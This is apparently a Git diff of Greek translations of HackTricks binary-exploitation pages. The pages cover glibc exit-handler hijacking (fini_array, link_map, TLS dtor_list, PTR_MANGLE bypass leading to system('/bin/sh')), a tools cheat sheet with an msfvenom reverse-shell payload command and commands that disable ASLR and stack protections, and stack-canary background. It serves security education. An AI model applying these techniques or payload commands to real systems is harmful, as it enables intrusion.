size_t sz = (map->l_info[DT_FINI_ARRAYSZ]->d_un.d_val / sizeof (ElfW(Addr)));
while (sz-- > 0)
((fini_t) array[sz]) ();
}
[...]
// This is the d_un structure
ptype l->l_info[DT_FINI_ARRAY]->d_un
type = union {
Elf64_Xword d_val; // address of function that will be called, we put our onegadget here
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
}
```
Σημειώστε πώς το `map -> l_addr + fini_array -> d_un.d_ptr` χρησιμοποιείται για **υπολογισμό** της θέσης του **πίνακα συναρτήσεων προς κλήση**.
Υπάρχουν μερικές **επιλογές**:
* Αντικαταστήστε την τιμή του `map->l_addr` ώστε να δείχνει σε ένα **ψεύτικο `fini_array`** με οδηγίες για εκτέλεση αυθαίρετου κώδικα
* Αντικαταστήστε τις καταχωρήσεις `l_info[DT_FINI_ARRAY]` και `l_info[DT_FINI_ARRAYSZ]` (που είναι περίπου διαδοχικές στη μνήμη), ώστε να κάνουν δείκτες σε μια πλαστή δομή `Elf64_Dyn` που θα κάνει ξανά το **`array` να δείχνει σε μια ζώνη μνήμης** που ελέγχεται από τον επιτιθέμενο.&#x20;
* [**Αυτή η ανάλυση**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) αντικαθιστά το `l_info[DT_FINI_ARRAY]` με τη διεύθυνση μνήμης ενός ελεγχόμενου τμήματος στο `.bss` που περιέχει ένα ψεύτικο `fini_array`. Αυτός ο ψεύτικος πίνακας περιέχει **πρώτα μια** [**διεύθυνση one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) που θα εκτελεστεί και στη συνέχεια τη **διαφορά** μεταξύ της διεύθυνσης αυτού του **ψεύτικου πίνακα** και της τιμής του `map->l_addr` ώστε το `*array` να δείχνει στον ψεύτικο πίνακα.
* Σύμφωνα με την κύρια ανάρτηση αυτής της τεχνικής και [**αυτή την ανάλυση**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) το ld.so αφήνει ένα δείκτη στη στοίβα που δείχνει στο δυαδικό `link_map` στο ld.so. Με ένα αυθαίρετο γράψιμο είναι δυνατόν να τον αντικαταστήσετε και να τον κάνετε να δείχνει σε ένα ψεύτικο `fini_array` που ελέγχεται από τον επιτιθέμενο με τη διεύθυνση ενός [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) για παράδειγμα.
Ακολουθώντας τον προηγούμενο κώδικα μπορείτε να βρείτε μια άλλη ενδιαφέρουσα ενότητα με τον κώδικα:
```c
/* Next try the old-style destructor. */
ElfW(Dyn) *fini = map->l_info[DT_FINI];
if (fini != NULL)
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
}
```
Σε αυτήν την περίπτωση θα ήταν δυνατό να αντικατασταθεί η τιμή του `map->l_info[DT_FINI]` που δείχνει σε ένα πλαστό `ElfW(Dyn)` δομή. Βρείτε [**περισσότερες πληροφορίες εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure).
## Αντικατάσταση της λίστας dtor\_list αποθήκευσης TLS στο **`__run_exit_handlers`**
Όπως [**εξηγείται εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite), αν ένα πρόγραμμα τερματίζει μέσω `return` ή `exit()`, θα εκτελέσει το **`__run_exit_handlers()`** το οποίο θα καλέσει οποιαδήποτε συνάρτηση καταστροφέων που έχει καταχωρηθεί.
Κώδικας από το `_run_exit_handlers()`:
```c
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
```
Κώδικας από το **`__call_tls_dtors()`**:
```c
typedef void (*dtor_func) (void *);
struct dtor_list //struct added
{
dtor_func func;
void *obj;
struct link_map *map;
struct dtor_list *next;
};
[...]
/* Call the destructors. This is called either when a thread returns from the
initial function or when the process exits via the exit function. */
void
__call_tls_dtors (void)
{
while (tls_dtor_list) // parse the dtor_list chained structures
{
struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list
dtor_func func = cur->func;
PTR_DEMANGLE (func); // demangle the function ptr
tls_dtor_list = tls_dtor_list->next; // next dtor_list structure
func (cur->obj);
[...]
}
}
```
Για κάθε εγγεγραμμένη λειτουργία στο **`tls_dtor_list`**, θα αποκωδικοποιήσει το δείκτη από το **`cur->func`** και θα το καλέσει με το όρισμα **`cur->obj`**.
Χρησιμοποιώντας τη λειτουργία **`tls`** από αυτό το [**fork του GEF**](https://github.com/bata24/gef), είναι δυνατό να δούμε ότι πραγματικά η **`dtor_list`** είναι πολύ **κοντά** στο **stack canary** και το **PTR\_MANGLE cookie**. Έτσι, με ένα υπερχείλιση σε αυτό, θα ήταν δυνατό να **αντικατασταθεί** το **cookie** και το **stack canary**.\
Αν αντικατασταθεί το PTR\_MANGLE cookie, θα ήταν δυνατό να **παρακάμψει η λειτουργία `PTR_DEMANLE`** καθώς η ρύθμισή του σε 0x00, θα σήμαινε ότι το **`xor`** που χρησιμοποιείται για να λάβει την πραγματική διεύθυνση είναι απλά η διεύθυνση που έχει ρυθμιστεί. Στη συνέχεια, γράφοντας στο **`dtor_list`** είναι δυνατό να **αλυσιδωθούν αρκετές λειτουργίες** με τη διεύθυνση της λειτουργίας και το **όρισμά** της.
Τέλος, παρατηρήστε ότι ο αποθηκευμένος δείκτης δεν θα υποστεί μόνο λογική πράξη XOR με το cookie αλλά θα περιστραφεί επίσης 17 bits:
```armasm
0x00007fc390444dd4 <+36>: mov rax,QWORD PTR [rbx] --> mangled ptr
0x00007fc390444dd7 <+39>: ror rax,0x11 --> rotate of 17 bits
0x00007fc390444ddb <+43>: xor rax,QWORD PTR fs:0x30 --> xor with PTR_MANGLE
```
Έτσι πρέπει να λάβετε υπόψη πριν προσθέσετε μια νέα διεύθυνση.
Βρείτε ένα παράδειγμα στην [**αρχική δημοσίευση**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite).
## Άλλες μεταβλημένες δείκτες στο **`__run_exit_handlers`**
Αυτή η τεχνική εξηγείται [**εδώ**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite) και εξαρτάται ξανά από το πρόγραμμα **που τερματίζει καλώντας `return` ή `exit()`** έτσι ώστε να κληθεί το **`__run_exit_handlers()`**.
Ας ελέγξουμε περισσότερο κώδικα αυτής της συνάρτησης:
```c
while (true)
{
struct exit_function_list *cur;
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
PTR_DEMANGLE (onfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
PTR_DEMANGLE (atfct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
__libc_lock_unlock (__exit_funcs_lock);
```
Η μεταβλητή `f` δείχνει στη δομή **`initial`** και ανάλογα με την τιμή του `f->flavor` θα κληθούν διαφορετικές συναρτήσεις.\
Ανάλογα με την τιμή, η διεύθυνση της συνάρτησης που θα κληθεί θα βρίσκεται σε διαφορετική θέση, αλλά θα είναι πάντα **αποκωδικοποιημένη**.
Επιπλέον, στις επιλογές **`ef_on`** και **`ef_cxa`** είναι επίσης δυνατόν να ελέγξετε ένα **όρισμα**.
Είναι δυνατόν να ελέγξετε τη δομή **`initial`** σε μια συνεδρία εντοπισμού σφαλμάτων με το GEF εκτελώντας **`gef> p initial`**.
Για να εκμεταλλευτείτε αυτό, πρέπει είτε να **διαρρεύσετε είτε να διαγράψετε το `PTR_MANGLE` cookie** και στη συνέχεια να αντικαταστήσετε μια είσοδο `cxa` στο initial με `system('/bin/sh')`.\
Μπορείτε να βρείτε ένα παράδειγμα αυτού στην [**αρχική ανάρτηση στο blog σχετικά με την τεχνική**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -15,7 +15,7 @@
</details>
## Metasploit
```
```bash
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
nasm_shell.rb
@ -23,13 +23,17 @@ nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
```
{% code overflow="wrap" %}
```bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
{% endcode %}
## GDB
### Εγκατάσταση
```
```bash
apt-get install gdb
```
### Παράμετροι
@ -85,6 +89,8 @@ x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
Μπορείτε προαιρετικά να χρησιμοποιήσετε [**αυτό το fork του GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) που περιέχει πιο ενδιαφέρουσες οδηγίες.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@ -128,7 +134,7 @@ gef➤ pattern search 0x6261617762616176
#### Ίδιες διευθύνσεις στο GDB
Κατά την εκτέλεση αποσφαλμάτωσης στο GDB, **ο GDB θα έχει ελαφρώς διαφορετικές διευθύνσεις από αυτές που χρησιμοποιούνται από το δυαδικό όταν εκτελείται.** Μπορείτε να κάνετε το GDB να έχει τις ίδιες διευθύνσεις κάνοντας:
Κατά την εντοπισμό σφαλμάτων στο GDB θα έχει **ελαφρώς διαφορετικές διευθύνσεις από αυτές που χρησιμοποιούνται από το δυαδικό όταν εκτελείται.** Μπορείτε να κάνετε το GDB να έχει τις ίδιες διευθύνσεις κάνοντας:
* `unset env LINES`
* `unset env COLUMNS`
@ -136,7 +142,7 @@ gef➤ pattern search 0x6261617762616176
* Εκμεταλλευτείτε το δυαδικό χρησιμοποιώντας την ίδια απόλυτη διαδρομή
* Τα `PWD` και `OLDPWD` πρέπει να είναι τα ίδια κατά τη χρήση του GDB και κατά την εκμετάλλευση του δυαδικού
#### Backtrace για εύρεση κλήσεων συναρτήσεων
#### Ανίχνευση συναρτήσεων που καλούνται με backtrace
Όταν έχετε ένα **δυαδικό που έχει συνδεθεί στατικά**, όλες οι συναρτήσεις θα ανήκουν στο δυαδικό (και όχι σε εξωτερικές βιβλιοθήκες). Σε αυτήν την περίπτωση θα είναι δύσκολο να **αναγνωρίσετε τη ροή που ακολουθεί το δυαδικό για παράδειγμα για να ζητήσει είσοδο από τον χρήστη**.\
Μπορείτε εύκολα να αναγνωρίσετε αυτήν τη ροή **τρέχοντας** το δυαδικό με το **gdb** μέχρι να σας ζητηθεί είσοδος. Στη συνέχεια, σταματήστε το με **CTRL+C** και χρησιμοποιήστε την εντολή **`bt`** (**backtrace**) για να δείτε τις κληθείσες συναρτήσεις:
@ -148,7 +154,7 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### GDB server
### Εξυπηρετητής GDB
`gdbserver --multi 0.0.0.0:23947` (στο IDA πρέπει να συμπληρώσετε τον απόλυτο δρόμο του εκτελέσιμου στη μηχανή Linux και στη μηχανή Windows)
@ -156,18 +162,24 @@ gef➤ bt
### Εύρεση μετατόπισης στοίβας
**Το Ghidra** είναι πολύ χρήσιμο για να βρείτε τη **μετατόπιση** για ένα **buffer overflow χάρη στις πληροφορίες για τη θέση των τοπικών μεταβλητών.**\
Για παράδειγμα, στο παρακάτω παράδειγμα, ένα buffer overflow στο `local_bc` υποδηλώνει ότι χρειάζεστε μια μετατόπιση του `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδηλώνει ότι για να το αντικαταστήσετε από το `local_bc` υπάρχει μια μετατόπιση του `0xac`.\
**Το Ghidra** είναι πολύ χρήσιμο για την εύρεση της **μετατόπισης** για ένα **buffer overflow χάρη στις πληροφορίες σχετικά με τη θέση των τοπικών μεταβλητών.**\
Για παράδειγμα, στο παρακάτω παράδειγμα, ένα buffer flow στο `local_bc` υποδηλώνει ότι χρειάζεστε μια μετατόπιση του `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδηλώνει ότι για να το αντικαταστήσετε από το `local_bc` υπάρχει μια μετατόπιση του `0xac`.\
_Να θυμάστε ότι το πρώτο 0x08 από όπου αποθηκεύεται το RIP ανήκει στο RBP._
![](<../../../.gitbook/assets/image (1058).png>)
## qtool
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
Αποκτήστε κάθε opcode που εκτελείται στο πρόγραμμα.
## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Μεταγλώττιση χωρίς προστασίες\
**-o** --> Έξοδος\
**-g** --> Αποθήκευση κώδικα (το GDB θα μπορεί να τον δει)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Για απενεργοποίηση του ASLR στο Linux
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Απενεργοποίηση του ASLR στο Linux
**Για να μεταγλωττίσετε ένα shellcode:**\
**nasm -f elf assembly.asm** --> επιστρέφει ένα ".o"\
@ -175,29 +187,28 @@ _Να θυμάστε ότι το πρώτο 0x08 από όπου αποθηκε
## Objdump
**-d** --> **Αποσυναρμολόγηση εκτελέσιμων** τμημάτων (δείτε τους κωδικούς ενός μεταγλωττισμένου shellcode, βρείτε ROP Gadgets, βρείτε διεύθυνση συνάρτησης...)\
**-Mintel** --> Σύνταξη **Intel**\
**-t** --> Πίνακας **συμβόλων**\
**-D** --> Αποσυναρμολόγηση όλων (διεύθυνση στατικής μεταβλητής)\
**-s -j .dtors** --> τμήμα dtors\
**-s -j .got** --> τμήμα got\
\-D -s -j .plt --> τμήμα **plt** **αποσυναρμολογημένο**\
**-TR** --> **Ανακατευθύνσεις**\
**-d** --> **Αποσυναρμολόγηση εκτελέσιμων** ενοτήτων (δείτε τα opcodes ενός μεταγλωττισμένου shellcode, βρείτε ROP Gadgets, βρείτε διεύθυνση συνάρτησης...)\
**-Mintel** --> **Σύνταξη Intel**\
**-t** --> **Πίνακας συμβόλων**\
**-D** --> **Αποσυναρμολόγηση όλων** (διεύθυνση στατικής μεταβλητής)\
**-s -j .dtors** --> ενότητα dtors\
**-s -j .got** --> ενότητα got\
\-D -s -j .plt --> ενότητα plt **αποσυναρμολογημένη**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Διεύθυνση του "puts" για τροποποίηση στο GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Διεύθυνση μιας στατικής μεταβλητής (αυτές αποθηκεύονται στο τμήμα DATA).
**objdump -D ./exec | grep "VAR\_NAME"** --> Διεύθυνση στατικής μεταβλητής (αυτές αποθηκεύονται στην ενότητα DATA).
## Core dumps
1. Εκτελέστε `ulimit -c unlimited` πριν ξεκινήσετε το πρόγραμμά μου
2. Εκτελέστε `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. `sudo gdb --core=\<path/core> --quiet`
3. sudo gdb --core=\<path/core> --quiet
## More
## Περισσότερα
**ldd executable | grep libc.so.6** --> Διεύθυνση (αν υπάρχει ASLR, τότε αυτή αλλάζει κάθε φορά)\
**ldd executable | grep libc.so.6** --> Διεύθυνση (αν υπάρχει ASLR, τότε αλλάζει κάθε φορά)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Επανάληψη για να δείτε αν η διεύθυνση αλλάζει πολύ\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Μετατόπιση του "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Μετατόπιση του "/bin/sh"
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset του "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset του "/bin/sh"
**strace executable** --> Συναρτήσεις που καλούνται από το εκτελέσιμο\
**rabin2 -i ejecutable -->** Διεύθυνση όλων των συναρτήσεων
@ -215,7 +226,7 @@ _Να θυμάστε ότι το πρώτο 0x08 από όπου αποθηκε
```
./linux_server64 -Ppass
```
Στη συνέχεια, ρυθμίστε τον εντοπιστή σφαλμάτων: Εντοπιστής (απομακρυσμένος linux) --> Επιλογές διεργασίας...:
Στη συνέχεια, ρυθμίστε τον debugger: Debugger (linux remote) --> Επιλογές διεργασίας...:
![](<../../../.gitbook/assets/image (855).png>)
@ -228,7 +239,7 @@ _Να θυμάστε ότι το πρώτο 0x08 από όπου αποθηκε
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Ερυθρού Συνεργείου AWS του HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
@ -16,19 +16,19 @@
## **StackGuard και StackShield**
Το **StackGuard** εισάγει μια ειδική τιμή γνωστή ως **κανάριο** πριν από το **EIP (Επεκτεινόμενο Δείκτη Εντολών)**, συγκεκριμένα `0x000aff0d` (που αντιπροσωπεύει το null, τη νέα γραμμή, το EOF, την αλλαγή γραμμής) για προστασία από υπερχείλιση buffer. Ωστόσο, λειτουργίες όπως `recv()`, `memcpy()`, `read()` και `bcopy()` παραμένουν ευάλωτες, και δεν προστατεύει το **EBP (Βασικό Δείκτη)**.
Το **StackGuard** εισάγει μια ειδική τιμή γνωστή ως **κανάριο** πριν από το **EIP (Επεκτεινόμενο Δείκτη Εντολών)**, συγκεκριμένα `0x000aff0d` (που αντιπροσωπεύει το null, newline, EOF, carriage return) για προστασία από υπερχείλιση buffer. Ωστόσο, λειτουργίες όπως `recv()`, `memcpy()`, `read()` και `bcopy()` παραμένουν ευάλωτες, και δεν προστατεύει το **EBP (Βασικό Δείκτη)**.
Το **StackShield** ακολουθεί μια πιο εξελιγμένη προσέγγιση από το StackGuard διατηρώντας ένα **Καθολικό Στοίβα Επιστροφής**, το οποίο αποθηκεύει όλες τις διευθύνσεις επιστροφής (**EIPs**). Αυτή η ρύθμιση εξασφαλίζει ότι οποιαδήποτε υπερχείλιση δεν προκαλεί ζημιά, καθώς επιτρέπει τη σύγκριση μεταξύ αποθηκευμένων και πραγματικών διευθύνσεων επιστροφής για την ανίχνευση εμφανίσεων υπερχείλισης. Επιπλέον, το StackShield μπορεί να ελέγξει τη διεύθυνση επιστροφής έναντι μιας τιμής ορίου για να ανιχνεύσει αν η **EIP** δείχνει έξω από τον αναμενόμενο χώρο δεδομένων. Ωστόσο, αυτή η προστασία μπορεί να παρακαμφθεί μέσω τεχνικών όπως Return-to-libc, ROP (Return-Oriented Programming) ή ret2ret, υποδεικνύοντας ότι το StackShield επίσης δεν προστατεύει τοπικές μεταβλητές.
Το **StackShield** ακολουθεί μια πιο εξελιγμένη προσέγγιση από το StackGuard διατηρώντας ένα **Καθολικό Στοίβα Επιστροφής**, το οποίο αποθηκεύει όλες τις διευθύνσεις επιστροφής (**EIPs**). Αυτή η ρύθμιση εξασφαλίζει ότι οποιαδήποτε υπερχείλιση δεν προκαλεί ζημιά, καθώς επιτρέπει τη σύγκριση μεταξύ αποθηκευμένων και πραγματικών διευθύνσεων επιστροφής για την ανίχνευση εμφανίσεων υπερχείλισης. Επιπλέον, το StackShield μπορεί να ελέγξει τη διεύθυνση επιστροφής έναντι μιας τιμής ορίου για να ανιχνεύσει αν η **EIP** δείχνει έξω από τον αναμενόμενο χώρο δεδομένων. Ωστόσο, αυτή η προστασία μπορεί να παρακαμφθεί μέσω τεχνικών όπως Return-to-libc, ROP (Return-Oriented Programming) ή ret2ret, υποδηλώνοντας ότι το StackShield επίσης δεν προστατεύει τοπικές μεταβλητές.
## **Προστάτης Καταπονήσεων Στοίβας (ProPolice) `-fstack-protector`:**
## **Προστάτης Καταποντισμού Στοίβας (ProPolice) `-fstack-protector`:**
Αυτός ο μηχανισμός τοποθετεί ένα **κανάριο** πριν από το **EBP**, και αναδιατάσσει τις τοπικές μεταβλητές για να τοποθετήσει τα buffers σε υψηλότερες διευθύνσεις μνήμης, αποτρέποντας την υπεργραφή άλλων μεταβλητών. Επίσης, αντιγράφει με ασφάλεια τα ορίσματα που περνιούνται στη στοίβα πάνω από τις τοπικές μεταβλητές και χρησιμοποιεί αυτές τις αντιγραφές ως ορίσματα. Ωστόσο, δεν προστατεύει πίνακες με λιγότερα από 8 στοιχεία ή buffers μέσα σε δομή χρήστη.
Το **κανάριο** είναι ένας τυχαίος αριθμός που προέρχεται από το `/dev/urandom` ή μια προεπιλεγμένη τιμή του `0xff0a0000`. Αποθηκεύεται στο **TLS (Αποθήκευση Τοπικών Νημάτων)**, επιτρέποντας κοινόχρηστους χώρους μνήμης ανάμεσα σε νήματα να έχουν μεταβλητές παγκόσμιες ή στατικές μεταβλητές νήματος. Αυτές οι μεταβλητές αντιγράφονται αρχικά από τη διεργασία γονέα, και οι διεργασίες παιδιά μπορούν να τροποποιήσουν τα δεδομένα τους χωρίς να επηρεάζουν το γονέα ή τα αδέλφια. Ωστόσο, αν χρησιμοποιηθεί ένα **`fork()` χωρίς τη δημιουργία ενός νέου καναριού, όλες οι διεργασίες (γονέας και παιδιά) μοιράζονται το ίδιο κανάρι**, καθιστώντας το ευάλωτο. Στην αρχιτεκτονική **i386**, το κανάρι αποθηκεύεται στο `gs:0x14`, και στο **x86\_64**, στο `fs:0x28`.
Το **κανάριο** είναι ένας τυχαίος αριθμός που προέρχεται από το `/dev/urandom` ή μια προεπιλεγμένη τιμή του `0xff0a0000`. Αποθηκεύεται στο **TLS (Αποθήκη Τοπικών Νημάτων)**, επιτρέποντας κοινόχρηστους χώρους μνήμης ανάμεσα σε νήματα να έχουν νήμα-συγκεκριμένες παγκόσμιες ή στατικές μεταβλητές. Αυτές οι μεταβλητές αντιγράφονται αρχικά από τη διεργασία γονέα, και οι διεργασίες-παιδιά μπορούν να τροποποιήσουν τα δεδομένα τους χωρίς να επηρεάζουν το γονέα ή τα αδέλφια. Ωστόσο, αν χρησιμοποιηθεί ένα **`fork()` χωρίς τη δημιουργία ενός νέου καναριού, όλες οι διεργασίες (γονέας και παιδιά) μοιράζονται το ίδιο κανάρι**, καθιστώντας το ευάλωτο. Στην αρχιτεκτονική **i386**, το κανάρι αποθηκεύεται στο `gs:0x14`, και στο **x86\_64**, στο `fs:0x28`.
Αυτή η τοπική προστασία αναγνωρίζει λειτουργίες με buffers ευάλωτους σε επιθέσεις και ενθέτει κώδικα στην αρχή αυτών των λειτουργιών για να τοποθετήσει το κανάρι, και στο τέλος για να επαληθεύσει την ακεραιότητά του.
Αυτή η τοπική προστασία αναγνωρίζει λειτουργίες με buffers ευάλωτα σε επιθέσεις και ενθέτει κώδικα στην αρχή αυτών των λειτουργιών για να τοποθετήσει το κανάρι, και στο τέλος για να επαληθεύσει την ακεραιότητά του.
Όταν ένας διακομιστής web χρησιμοποιεί το `fork()`, ενεργοποιεί μια επίθεση δοκιμής με βία για να μαντέψει το κανάρι byte με byte. Ωστόσο, χρησιμοποιώντας το `execve()` μετά το `fork()` αντικαθιστά τον χώρο μνήμης, αναιρώντας την επίθεση. Το `vfork()` επιτρέπει στη διεργασία παιδί να εκτελείται χωρίς αντιγραφή μέχρι να προσπαθήσει να γράψει, στο σημείο που δημιουργείται ένα αντίγραφο, προσφέροντας μια διαφορετική προσέγγιση στη δημιουργία διεργασίας και στη διαχείριση μνήμης.
Όταν ένας διακομιστής web χρησιμοποιεί το `fork()`, ενεργοποιεί μια επίθεση βίας για να μαντέψει το κανάρι byte με byte. Ωστόσο, η χρήση του `execve()` μετά το `fork()` αντικαθιστά τον χώρο μνήμης, αναιρώντας την επίθεση. Το `vfork()` επιτρέπει στη διεργασία-παιδί να εκτελείται χωρίς αντιγραφή μέχρι να προσπαθήσει να γράψει, στο σημείο που δημιουργείται ένα αντίγραφο, προσφέροντας μια διαφορετική προσέγγιση στη δημιουργία διεργασιών και στη διαχείριση μνήμης.
### Μήκη
@ -44,7 +44,7 @@
**Διαρροή του καναριού** και στη συνέχεια υπεργραφή του (π.χ. υπερχείλιση buffer) με τη δική του τιμή.
* Αν το **κανάρι δημιουργείται σε παιδικές διεργασίες** είναι δυνατό να **επιτεθείτε με βία** ένα byte κάθε φορά:
* Αν το **κανάρι δημιουργείται σε παιδικές διεργασίες** είναι δυνατό να **επιτεθεί** ένα byte κάθε φορά:
{% content-ref url="bf-forked-stack-canaries.md" %}
[bf-forked-stack-canaries.md](bf-forked-stack-canaries.md)
@ -58,7 +58,23 @@
* **Υπεργραφή δεικτών αποθηκευμένων στη στοίβα**
Η στοίβα που είναι ευάλωτη σε υπερχείλιση στοίβας μπορεί να **περιέ
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
Η στοίβα που είναι ευάλωτη σε υπερχείλιση στοίβας μπορεί **να περιέχει διευθύνσεις σε συμβολοσειρές ή λειτουργίες που μπορούν να υπεργραφούν** για να εκ
## Αναφορές
* [https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation\_canary/index.html)
* [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
* [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
